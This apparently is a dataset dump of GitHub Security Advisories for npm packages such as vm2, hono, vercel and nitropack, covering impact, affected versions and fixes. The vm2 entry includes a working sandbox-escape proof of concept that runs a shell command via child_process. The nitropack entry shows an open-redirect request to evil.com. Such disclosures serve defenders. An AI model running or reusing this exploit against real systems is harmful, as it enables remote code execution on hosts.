deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-qcp4-v2jj-fjx8
Package: vm2 (NPM)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 3.10.5
Patched in: 3.11.0

Summary: vm2 has a Sandbox Escape Vulnerability

Details:
### Summary

It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes

### Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e[PII_REDACTED]474ca8)

### PoC
```js
let obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice: () => '',
};

let sym;

obj.slice(10, {
	showHidden: true,
	showProxy: true,
	depth: 10,
	stylize(a) {
		const handler = this.seen && this.seen[1];

		if (handler && handler.getPrototypeOf) {
			gP = handler.getPrototypeOf;
			HObjectProto = gP(gP(gP(gP(Buffer))));
			HObject = HObjectProto.constructor;
			sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
		}
		return a;
	},
});

obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor('return process')()
		.getBuiltinModule('child_process')
		.execSync('id', { stdio: 'inherit' });
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});
```

### Impact
Sandbox Escape -> RCE
GitHub Security Advisory: GHSA-rjmp-rwj4-mv82
Package: @diplodoc/search-extension (NPM)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 1.0.0, < 3.0.5
Patched in: 3.0.5

Summary: @diplodoc/search-extension allows stored XSS via Markdown file title

Details:
@diplodoc/search-extension 1.0.0 through 3.0.2 allows stored XSS via .md file title.
GitHub Security Advisory: GHSA-pgf8-2hgj-grqg
Package: vercel (NPM)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: >= 50.16.0, <= 52.0.0
Patched in: 52.0.1

Summary: Vercel: Non-interactive mode includes CLI arguments in suggested command output

Details:
# Summary

When the Vercel CLI runs in non-interactive mode (`--non-interactive` or auto-detected AI agent), commands that cannot complete autonomously emit JSON payloads with suggested follow-up commands. If the user authenticated via `--token` or `-t` on the command line, the token value is included verbatim in those suggestions.

# Conditions

All three must be true for the token to appear in output:

1. Token passed as a CLI argument (`--token` / `-t`). The `VERCEL_TOKEN` environment variable is **not affected**.
2. Non-interactive mode is active (explicit flag or AI agent auto-detection).
3. The command cannot complete on its own (e.g. missing `--yes`, ambiguous scope, API errors). Successful commands produce no suggestion output.

## Impact

The plaintext token may be captured in CI/CD logs, agent transcripts, or other automation output.

## Remediation

- Upgrade to the patched version.
- If developers have previously used `--token` with `--non-interactive` in their applications, review logs for exposed tokens and rotate them.
- Prefer `VERCEL_TOKEN` environment variable for authentication.
GitHub Security Advisory: GHSA-9vqf-7f2p-gf9v
Package: hono (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 4.12.16
Patched in: 4.12.16

Summary: Hono: bodyLimit() can be bypassed for chunked / unknown-length requests

Details:
## Summary

`bodyLimit()` does not reliably enforce `maxSize` for requests without a usable `Content-Length` (e.g. `Transfer-Encoding: chunked`). Oversized requests can reach handlers and return `200` instead of `413`.

## Details

For chunked / unknown-length requests, `bodyLimit()` wraps the body in a stream that counts bytes asynchronously, then runs the handler before the size decision is final. The `413` is only applied afterwards by checking `c.error`.

This lets the limit be bypassed when:

- the handler does not read the body,
- the handler reads only the first chunk(s) and returns, or
- the handler reads the body but swallows the read error in `try/catch`.

In all three cases the handler returns `200` before the limit check completes (or its result is observed).

The fix is to enforce the size decision before `next()` runs, instead of retrofitting the response via `c.error` afterwards.

## Impact

Applications relying on `bodyLimit()` as a hard boundary can be bypassed: oversized chunked requests can reach handler logic and return successful responses. Per-request data exposure is bounded by `maxSize`, but the documented guarantee — "oversized requests are rejected before business logic runs" — does not hold.

## Credits

- @lalalala5678 (slow chunked / early return variants)
- @Jvr2022 (error handling bypass)
GitHub Security Advisory: GHSA-69xw-7hcm-h432
Package: hono (NPM)
Severity: MODERATE (CVSS 4.7)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: < 4.12.16
Patched in: 4.12.16

Summary: hono/jsx has Unvalidated JSX Tag Names that May Allow HTML Injection

Details:
## Summary

Improper handling of JSX element tag names in hono/jsx allowed unvalidated tag names to be directly inserted into the generated HTML output.

When untrusted input is used as a tag name via the programmatic `jsx()` or `createElement()` APIs during server-side rendering, specially crafted values may break out of the intended element context and inject unintended HTML.

## Details

When rendering JSX elements to HTML strings, attribute values are escaped and attribute names are validated. However, element tag names were previously inserted into the output without validation.

If a tag name contains characters such as `<`, `>`, quotes, or whitespace, it may alter the structure of the generated HTML.

For example, malformed tag names can:

* Break out of the intended element and introduce unintended HTML elements
* Inject attributes or event handlers into the rendered output

This issue arises when untrusted input (such as query parameters or database content) is used as JSX tag names via `jsx()` or `createElement()` during server-side rendering.

## Impact

An attacker who can control tag names used in JSX rendering may inject unintended HTML into the generated output.

This may lead to:

* Injection of unexpected HTML elements or attributes
* Corruption of the HTML structure
* Cross-site scripting (XSS) when combined with unsafe usage patterns

This issue only affects applications that construct JSX tag names from untrusted input. Applications using static or allowlisted tag names are not affected.
GitHub Security Advisory: GHSA-86hp-qxqp-w9wv
Package: mcp-server-semgrep (NPM)
Severity: MODERATE (CVSS 7.3)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 1.0.0
Patched in: 1.0.1

Summary: mcp-server-semgrep has a Command Injection issue

Details:
A vulnerability was detected in VetCoders mcp-server-semgrep 1.0.0. This affects the function analyze_results/filter_results/export_results/compare_results/scan_directory/create_rule of the file src/index.ts of the component MCP Interface. The manipulation of the argument ID results in os command injection. The attack can be executed remotely. The exploit is now public and may be used. Upgrading to version 1.0.1 is able to mitigate this issue. The patch is identified as 141335da044e53c3f5b315e0386e01238405b771. It is advisable to upgrade the affected component.
GitHub Security Advisory: GHSA-cqmh-pcgr-q42f
Package: @axonflow/openclaw (NPM)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-552: Files or Directories Accessible to External Parties, CWE-732: Incorrect Permission Assignment for Critical Resource
Vulnerable versions: < 2.0.0
Patched in: 2.0.0

Summary: @axonflow/openclaw fix introduces plugin cache and credential-file permission hardening

Details:
## Summary

Two related permission defects in this AxonFlow plugin allowed registration credentials and cache state to be readable by other local users on hosts where the calling user's home directory was at the conventional `0755` mode.

## Affected versions

Versions 1.3.2 and below.

## Impact

1. **Cache and config directory mode.** The plugin's directories under `~/.config/axonflow/` and `~/.cache/axonflow/` were created with the umask-derived default mode (often `0755`) on first use and not subsequently re-validated. On systems where `~/.config/` is itself `0755`, the plugin's registration record (including a hashed credential and `instance_id`) was traversable by other local users.
2. **Credential file mode at load time.** The plugin loaded its `try-registration.json` credential file without validating that the file mode was `0600`. A registration file written by a misconfigured tool, copied across systems, or restored from backup could end up world-readable, and the plugin would silently use it.

The fix restores `0700` on all plugin directories on every plugin invocation (not only first creation) and refuses to load credential files with non-`0600` modes.

## Remediation

Upgrade to the patched plugin version listed under Vulnerabilities. On startup the plugin will repair existing directory modes; existing credential files with overly permissive modes will be refused, requiring the user to re-register or `chmod 0600` the file.

## Credit

Identified by AxonFlow internal security review.
GitHub Security Advisory: GHSA-mph8-9v29-pm42
Package: @axonflow/sdk (NPM)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-345: Insufficient Verification of Data Authenticity, CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: < 6.0.0
Patched in: 6.0.0

Summary: axonflow-sdk-typescript: Webhook signing-key (HMAC-SHA256) not exposed by SDK type, preventing signature verification

Details:
## Summary

The AxonFlow SDK's `WebhookSubscription` (or equivalent) type did not expose the HMAC-SHA256 signing key returned by the platform's `CreateWebhook` endpoint. Without access to the secret through the typed SDK API, callers had no path to verify the `X-AxonFlow-Signature` header on incoming webhook deliveries. Affected callers had two unsatisfactory options:

1. Skip signature verification entirely — accepting any payload from any source that knew the webhook URL.
2. Hand-parse the raw HTTP JSON response to extract the secret, bypassing the type-safe SDK surface.

This advisory is filed across all four AxonFlow SDKs (Go, Python, TypeScript, Java) because the same defect and the same fix landed in each.

## Affected versions

Versions 5.6.0 and below.

## Impact

A webhook receiver using the SDK's typed API to handle inbound deliveries had no path to authenticate the source of incoming payloads. An attacker who learned the webhook URL — through misconfiguration, log leakage, observable network traffic during setup, or any other discovery channel — could forge webhook deliveries indistinguishable from legitimate ones, causing the receiving application to act on fabricated events (e.g. simulated approval-granted callbacks, simulated policy-decision callbacks, simulated step-completion callbacks).

## Remediation

Upgrade to the patched version listed in Vulnerabilities below. The signing key is now exposed on the `WebhookSubscription` response type returned by `CreateWebhook`. Implementations should:

1. Persist the secret returned by `CreateWebhook` securely (it is only returned once, at create time).
2. On each incoming webhook delivery, compute `HMAC-SHA256(secret, raw_body)` and compare it in constant time against the `X-AxonFlow-Signature` header.
3. Reject any delivery whose signature does not match.

## Credit

Identified by AxonFlow internal security review during the April 2026 quality-freeze epic.
GitHub Security Advisory: GHSA-v3c2-39fm-jq4h
Package: openclaw (NPM)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 2026.3.28
Patched in: 2026.3.28

Summary: Duplicate Advisory: OpenClaw: Gateway `operator.write` can reach admin-only persisted `verboseLevel` via `chat.send` `/verbose`

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-5h2w-qmfp-ggp6. This link is maintained to preserve external references.

### Original Description
OpenClaw before 2026.3.28 contains a privilege escalation vulnerability in the chat.send endpoint that allows write-scoped gateway callers to persist admin-only verboseLevel session overrides. Attackers can exploit the /verbose parameter to bypass access controls and expose sensitive reasoning or tool output intended to be restricted to administrators.
GitHub Security Advisory: GHSA-gv2f-q4wp-fvh5
Package: openclaw (NPM)
Severity: HIGH (CVSS 7.3)
CWE: CWE-346: Origin Validation Error
Vulnerable versions: < 2026.3.28
Patched in: 2026.3.28

Summary: Duplicate Advisory: OpenClaw: CLI Remote Onboarding Persists Unauthenticated Discovery Endpoint and Exfiltrates Gateway Credentials

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3cw3-5vxw-g2h3. This link is maintained to preserve external references.

### Original Description
OpenClaw before 2026.3.28 contains an authentication bypass vulnerability in the remote onboarding component that persists unauthenticated discovery endpoints without explicit trust confirmation. Attackers can spoof discovery endpoints to redirect onboarding toward malicious gateways and capture gateway credentials or traffic.
GitHub Security Advisory: GHSA-p7g9-rp3g-mgfg
Package: @backstage/plugin-catalog-backend-module-unprocessed (NPM)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 0.6.11
Patched in: 0.6.11

Summary: Backstage: Catalog unprocessed read endpoints allow authenticated cross-owner data access without permission checks

Details:
### Impact   

  The unprocessed entities read endpoints in `@backstage/plugin-catalog-backend-module-unprocessed` do not enforce permission authorization checks. Any authenticated user can access unprocessed entity records regardless of ownership. This is 
  an information disclosure vulnerability affecting Backstage installations using this module.                                                                     
                                                                        
  ### Patches             
                                         
  This is patched in `@backstage/plugin-catalog-backend-module-unprocessed` version 0.6.11, `@backstage/plugin-catalog-unprocessed-entities-common` version 0.0.15 and `@backstage/plugin-catalog-unprocessed-entities` version 0.2.30. Users should upgrade all packages.                                    
   
  ### Workarounds                                                                                                                                                                                                                                  
                                                                        
  If users cannot upgrade, they can remove the `@backstage/plugin-catalog-backend-module-unprocessed` module from their backend until the patch is applied. There is no configuration-based workaround to add permission checks to these endpoints    
  without upgrading.
GitHub Security Advisory: GHSA-p7g9-rp3g-mgfg
Package: @backstage/plugin-catalog-unprocessed-entities (NPM)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 0.2.30
Patched in: 0.2.30

Summary: Backstage: Catalog unprocessed read endpoints allow authenticated cross-owner data access without permission checks

Details:
### Impact   

  The unprocessed entities read endpoints in `@backstage/plugin-catalog-backend-module-unprocessed` do not enforce permission authorization checks. Any authenticated user can access unprocessed entity records regardless of ownership. This is 
  an information disclosure vulnerability affecting Backstage installations using this module.                                                                     
                                                                        
  ### Patches             
                                         
  This is patched in `@backstage/plugin-catalog-backend-module-unprocessed` version 0.6.11, `@backstage/plugin-catalog-unprocessed-entities-common` version 0.0.15 and `@backstage/plugin-catalog-unprocessed-entities` version 0.2.30. Users should upgrade all packages.                                    
   
  ### Workarounds                                                                                                                                                                                                                                  
                                                                        
  If users cannot upgrade, they can remove the `@backstage/plugin-catalog-backend-module-unprocessed` module from their backend until the patch is applied. There is no configuration-based workaround to add permission checks to these endpoints    
  without upgrading.
GitHub Security Advisory: GHSA-p7g9-rp3g-mgfg
Package: @backstage/plugin-catalog-unprocessed-entities-common (NPM)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 0.0.15
Patched in: 0.0.15

Summary: Backstage: Catalog unprocessed read endpoints allow authenticated cross-owner data access without permission checks

Details:
### Impact   

  The unprocessed entities read endpoints in `@backstage/plugin-catalog-backend-module-unprocessed` do not enforce permission authorization checks. Any authenticated user can access unprocessed entity records regardless of ownership. This is 
  an information disclosure vulnerability affecting Backstage installations using this module.                                                                     
                                                                        
  ### Patches             
                                         
  This is patched in `@backstage/plugin-catalog-backend-module-unprocessed` version 0.6.11, `@backstage/plugin-catalog-unprocessed-entities-common` version 0.0.15 and `@backstage/plugin-catalog-unprocessed-entities` version 0.2.30. Users should upgrade all packages.                                    
   
  ### Workarounds                                                                                                                                                                                                                                  
                                                                        
  If users cannot upgrade, they can remove the `@backstage/plugin-catalog-backend-module-unprocessed` module from their backend until the patch is applied. There is no configuration-based workaround to add permission checks to these endpoints    
  without upgrading.
GitHub Security Advisory: GHSA-9phm-9p8f-hw5m
Package: nitropack (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 2.13.4
Patched in: 2.13.4

Summary: Nitro has an Open Redirect via Protocol-Relative URL Bypass in Wildcard Route Rules

Details:
A redirect route rule like:

```ts
routeRules: {
  "/legacy/**": { redirect: "/**" }
}
```

is intended to rewrite paths within the same host. Before the patch, an attacker could turn the rewrite into a cross-host redirect by sliding an extra slash in after the rule prefix. Example exploit:

```
GET /legacy//evil.com
```

Nitro stripped `/legacy` from the matched pathname and joined the remainder against the rule's target. The remainder was `//evil.com`, which the join preserved verbatim, so Nitro responded with `Location: //evil.com`. Browsers resolve `//evil.com` as a protocol-relative URL against the current scheme, sending the user to `https://evil.com`. 

### Are you affected?

Users may be affected if **all** of the following are true:

1. Their project uses Nitro's `routeRules` with a `redirect` entry.
2. The target uses a `/**` wildcard suffix to forward sub-paths (e.g. `redirect: "/**"`, `redirect: "/new/**"`, `proxy: { to: "http://upstream/**" }`).
3. The `redirect` rule is _not_ handled natively at the CDN layer. The `vercel`, `netlify`, `cloudflare-pages`, and `edgeone` presets translate `routeRules.redirect` into platform config (`vercel.json`, `_redirects`, EdgeOne v3 config) and serve the redirect at the edge — those deployments bypass the Nitro runtime entirely and are not affected. Every other preset executes the redirect through the Nitro runtime and can be vulnerable.

## Impact

Open redirect from any host serving Nitro with a wildcard `redirect` rule. The redirect target is fully attacker-controlled, the URL looks legitimate (it starts with the victim's domain), and the browser silently follows it.

## Patched versions

Upgrade to one of:

- [2.13.4](https://github.com/nitrojs/nitro/releases/tag/v2.13.4) or later (or upgrade lockfile with latest ufo 1.6.4+)
- [3.0.260429-beta](https://github.com/nitrojs/nitro/releases/tag/v3.0.260429-beta) or later (https://github.com/nitrojs/nitro/pull/4236)

The fix has two parts:

1. `ufo` is bumped to `^1.6.4` ([unjs/ufo@5cd9e67](https://github.com/unjs/ufo/commit/5cd9e676711af3f4e4b5398ddf6ca8d52c1c7e1f)), which collapses any run of leading slashes to a single `/` inside `withoutBase`. This covers the typical `"/scope/**"` rule.
2. The Nitro runtime additionally collapses leading `//` before joining when the rule path itself is `/**` (in rare case which case `withoutBase` is never called and the raw pathname flows straight into `joinURL("", …)`).